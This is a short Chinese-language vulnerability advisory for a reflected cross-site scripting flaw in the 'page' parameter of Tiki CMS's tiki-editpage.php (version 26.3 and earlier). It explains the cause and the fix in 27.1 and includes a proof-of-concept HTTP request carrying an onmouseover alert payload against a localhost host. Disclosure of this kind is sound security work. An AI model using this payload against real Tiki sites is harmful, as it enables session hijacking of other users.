Tiki CMS - 'page' 参数反射型跨站脚本(XSS)漏洞
仅用于教育、研究和防御目的。未经许可对系统进行未授权使用是违法的。
在 Tiki 版本 26.3 及更早版本的 tiki-editpage.php 中的 page 参数存在反射型跨站脚本(XSS)漏洞。攻击者可通过构造的载荷执行任意 JavaScript 代码,可能导致敏感信息泄露或未授权操作。
该漏洞由 tiki-editpage.php 中 page 参数输入净化不当引起。用户提供的输入在 HTTP 响应中直接回显,且未进行充分编码,允许注入的 JavaScript 执行。
允许经过身份验证的攻击者通过精心构造的请求在另一个用户的浏览器中执行任意 JavaScript,可能导致会话劫持或未授权操作。
GET /tiki-editpage.php?page=%22%20onmouseover%3Dalert(document.domain)%20 HTTP/1.1
Host: 127.0.0.1:9089
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: local_tz=Asia%2FKolkata; PHPSESSIDCV=51zQV%2BMxUnJxFY9nnRP%2FFg%3D%3D; javascript_enabled=y; PHPSESSID_CSRF=t2A6i9BjH1QHEH8KaLag0jtgT4dK9TTzyn8sOcRVwg9SMycfxWjoeYFmTykOfVjNPotrBKqsizXJ%2BrYcEXci8QPZxiSyBwA5YFLRS1S2RgxeTAI%3D; PHPSESSID=e19c8b25df427a7892245dc919be2067
Upgrade-Insecure-Requests: 1
Priority: u=0, i

该问题已在 Tiki CMS Groupware 版本 27.1 中得到解决。建议用户升级到此版本或后续修补版本。